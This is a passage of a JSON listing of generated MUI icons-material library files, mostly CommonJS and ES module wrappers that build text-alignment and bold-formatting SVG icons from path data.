    "path": "packages/mui-icons-material/lib/FormatAlignCenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15v2h10v-2zm-4 6h18v-2H3zm0-8h18v-2H3zm4-6v2h10V7zM3 3v2h18V3z\"\n}), 'FormatAlignCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1m-3 5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m3-5c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1m-3 5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m3-5c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15v2h10v-2zm-4 6h18v-2H3zm0-8h18v-2H3zm4-6v2h10V7zM3 3v2h18V3z\"\n}), 'FormatAlignCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15v2h10v-2zm-4 6h18v-2H3zm0-8h18v-2H3zm4-6v2h10V7zM3 3v2h18V3z\"\n}), 'FormatAlignCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm4 12h10v2H7zm0-8h10v2H7zm-4 4h18v2H3zm0 8h18v2H3z\"\n}), 'FormatAlignCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignCenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm4 12h10v2H7zm0-8h10v2H7zm-4 4h18v2H3zm0 8h18v2H3z\"\n}), 'FormatAlignCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustify.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zm0-4h18v-2H3zm0-4h18v-2H3zm0-4h18V7H3zm0-6v2h18V3z\"\n}), 'FormatAlignJustify');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustify.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zm0-4h18v-2H3zm0-4h18v-2H3zm0-4h18V7H3zm0-6v2h18V3z\"\n}), 'FormatAlignJustify');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zm0-4h18v-2H3zm0-4h18v-2H3zm0-4h18V7H3zm0-6v2h18V3z\"\n}), 'FormatAlignJustifyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zm0-4h18v-2H3zm0-4h18v-2H3zm0-4h18V7H3zm0-6v2h18V3z\"\n}), 'FormatAlignJustifyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignJustifyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignJustifyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zm0-4h18v-2H3zm0-4h18v-2H3zm0-4h18V7H3zm0-6v2h18V3z\"\n}), 'FormatAlignJustifySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zm0-4h18v-2H3zm0-4h18v-2H3zm0-4h18V7H3zm0-6v2h18V3z\"\n}), 'FormatAlignJustifySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 8h18v2H3zm0 8h18v2H3zm0-4h18v2H3zm0-8h18v2H3z\"\n}), 'FormatAlignJustifyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignJustifyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 8h18v2H3zm0 8h18v2H3zm0-4h18v2H3zm0-8h18v2H3z\"\n}), 'FormatAlignJustifyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 15H3v2h12zm0-8H3v2h12zM3 13h18v-2H3zm0 8h18v-2H3zM3 3v2h18V3z\"\n}), 'FormatAlignLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 15H3v2h12zm0-8H3v2h12zM3 13h18v-2H3zm0 8h18v-2H3zM3 3v2h18V3z\"\n}), 'FormatAlignLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 15H3v2h12zm0-8H3v2h12zM3 13h18v-2H3zm0 8h18v-2H3zM3 3v2h18V3z\"\n}), 'FormatAlignLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 15H3v2h12zm0-8H3v2h12zM3 13h18v-2H3zm0 8h18v-2H3zM3 3v2h18V3z\"\n}), 'FormatAlignLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 15H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0-8H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1M4 13h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0 8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 15H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0-8H4c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1M4 13h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0 8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 15H3v2h12zm0-8H3v2h12zM3 13h18v-2H3zm0 8h18v-2H3zM3 3v2h18V3z\"\n}), 'FormatAlignLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 15H3v2h12zm0-8H3v2h12zM3 13h18v-2H3zm0 8h18v-2H3zM3 3v2h18V3z\"\n}), 'FormatAlignLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18v2H3zM3 7h12v2H3zm0-4h18v2H3zm0 12h12v2H3zm0-4h18v2H3z\"\n}), 'FormatAlignLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18v2H3zM3 7h12v2H3zm0-4h18v2H3zm0 12h12v2H3zm0-4h18v2H3z\"\n}), 'FormatAlignLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zm6-4h12v-2H9zm-6-4h18v-2H3zm6-4h12V7H9zM3 3v2h18V3z\"\n}), 'FormatAlignRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zm6-4h12v-2H9zm-6-4h18v-2H3zm6-4h12V7H9zM3 3v2h18V3z\"\n}), 'FormatAlignRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zm6-4h12v-2H9zm-6-4h18v-2H3zm6-4h12V7H9zM3 3v2h18V3z\"\n}), 'FormatAlignRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zm6-4h12v-2H9zm-6-4h18v-2H3zm6-4h12V7H9zM3 3v2h18V3z\"\n}), 'FormatAlignRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m6-4h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1m-6-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m6-4h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m6-4h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1m-6-4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m6-4h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1M3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'FormatAlignRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2H3zm6-4h12v-2H9zm-6-4h18v-2H3zm6-4h12V7H9zM3 3v2h18V3z\"\n}), 'FormatAlignRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2H3zm6-4h12v-2H9zm-6-4h18v-2H3zm6-4h12V7H9zM3 3v2h18V3z\"\n}), 'FormatAlignRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3zm6 4h12v2H9zm0-8h12v2H9z\"\n}), 'FormatAlignRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatAlignRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3zm0 16h18v2H3zm0-8h18v2H3zm6 4h12v2H9zm0-8h12v2H9z\"\n}), 'FormatAlignRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBold.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBold');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBold.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBold');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldRounded.js",
